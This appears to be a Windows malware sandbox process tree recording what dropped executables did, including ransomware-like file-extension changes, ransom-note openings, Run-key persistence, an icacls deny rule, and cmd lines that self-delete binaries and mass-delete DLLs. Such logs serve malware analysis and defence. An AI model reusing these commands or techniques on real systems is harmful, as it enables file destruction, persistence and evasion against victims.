C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
- Drops file in Program Files directory
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\A858.tmp.exeC:\Users\Admin\AppData\Local\Temp\A858.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\A8D6.exeC:\Users\Admin\AppData\Local\Temp\A8D6.exe1⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\7eb73d89-056d-4415-9c25-9d7eeb15dbd8" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\Temp\A8D6.exe"C:\Users\Admin\AppData\Local\Temp\A8D6.exe" --Admin IsNotAutoStart IsNotTask2⤵
- Modifies extensions of user files
-
C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\updatewin1.exe"C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\updatewin1.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\updatewin2.exe"C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\updatewin2.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\updatewin.exe"C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\updatewin.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\updatewin.exe4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\5.exe"C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\5.exe"3⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\d467ca51-b12e-417c-89fd-8e7c5dda1166\5.exe" & del C:\ProgramData\*.dll & exit4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 5.exe /f5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 65⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\B20E.tmp.exeC:\Users\Admin\AppData\Local\Temp\B20E.tmp.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\B20E.tmp.exe"{path}"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\B5F7.exeC:\Users\Admin\AppData\Local\Temp\B5F7.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo MFbR2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Declinante.html2⤵
-
C:\Windows\SysWOW64\cmd.execmd3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\BAF9.tmp.exeC:\Users\Admin\AppData\Local\Temp\BAF9.tmp.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\BAF9.tmp.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\BE94.tmp.exeC:\Users\Admin\AppData\Local\Temp\BE94.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\C25E.exeC:\Users\Admin\AppData\Local\Temp\C25E.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\DEE0.tmp.exeC:\Users\Admin\AppData\Local\Temp\DEE0.tmp.exe1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 12⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 24602⤵
- Program crash
- Suspicious behavior: LoadsDriver
-
-
C:\Users\Admin\AppData\Local\Temp\EC4E.tmp.exeC:\Users\Admin\AppData\Local\Temp\EC4E.tmp.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2984 -s 75961⤵
- Program crash
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SkipRestart.inf2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SkipRestart.inf2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SkipRestart.inf2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\LockRepair.wmv"2⤵
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SkipRestart.inf2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SkipRestart.inf2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SkipRestart.inf2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\SkipRestart.inf2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"2⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140433⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=5C8386687E8FF5BB8D0645B333661A2E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=5C8386687E8FF5BB8D0645B333661A2E --renderer-client-id=2 --mojo-platform-channel-handle=1572 --allow-no-sandbox-job /prefetch:14⤵
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C8FA3CE6A4E9EE37802B3AFCFD013BC8 --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=73BBB1647623D3C994A61490A9A01D61 --mojo-platform-channel-handle=2380 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A55A53C06CFE7A3EBC214119BAA8F11D --mojo-platform-channel-handle=1856 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=52034225204842BF8A8E6BF047D1BDB2 --mojo-platform-channel-handle=1968 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:24⤵
-
-
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"2⤵
- Checks processor information in registry
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"2⤵
- Checks processor information in registry
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"2⤵
- Checks processor information in registry
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Suspicious behavior: MapViewOfSection
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
- Suspicious behavior: LoadsDriver
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Suspicious behavior: MapViewOfSection
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe2⤵
-
-
C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"2⤵
-
-
C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"2⤵
-
-
C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"2⤵
-
-
C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"2⤵
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"2⤵
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"C:\Program Files (x86)\Picture Lab\Pictures Lab.exe"2⤵
-
-
C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"2⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Adds Run key to start application
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
- Checks processor information in registry
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="8848.0.1427463330\1667698865" -parentBuildID 20200403170909 -prefsHandle 1548 -prefMapHandle 1540 -prefsLen 1 -prefMapSize 219511 -appdir "C:\Program Files\Mozilla Firefox\browser" - 8848 "\\.\pipe\gecko-crash-server-pipe.8848" 1620 gpu4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="8848.3.118450956\695290457" -childID 1 -isForBrowser -prefsHandle 2236 -prefMapHandle 2348 -prefsLen 156 -prefMapSize 219511 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 8848 "\\.\pipe\gecko-crash-server-pipe.8848" 2328 tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="8848.13.1624585982\1797902237" -childID 2 -isForBrowser -prefsHandle 3408 -prefMapHandle 2224 -prefsLen 7014 -prefMapSize 219511 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 8848 "\\.\pipe\gecko-crash-server-pipe.8848" 3416 tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="8848.20.1592833968\1448255814" -childID 3 -isForBrowser -prefsHandle 4668 -prefMapHandle 4660 -prefsLen 7836 -prefMapSize 219511 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 8848 "\\.\pipe\gecko-crash-server-pipe.8848" 4652 tab4⤵
-
-
C:\Program Files\Mozilla Firefox\uninstall\helper.exe"C:\Program Files\Mozilla Firefox\uninstall\helper.exe" /SetAsDefaultAppUser4⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xcc,0xd0,0xd4,0x84,0xd8,0x7ffe28a36e00,0x7ffe28a36e10,0x7ffe28a36e203⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1648 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1936 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2308 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2828 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2836 /prefetch:13⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6252 -s 4244⤵
- Program crash
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3932 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4160 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2868 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2852 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4292 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3440 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4452 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4004 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2152 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4216 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4324 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,6237435775105675434,14171716574307968331,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4940 /prefetch:83⤵
-
-
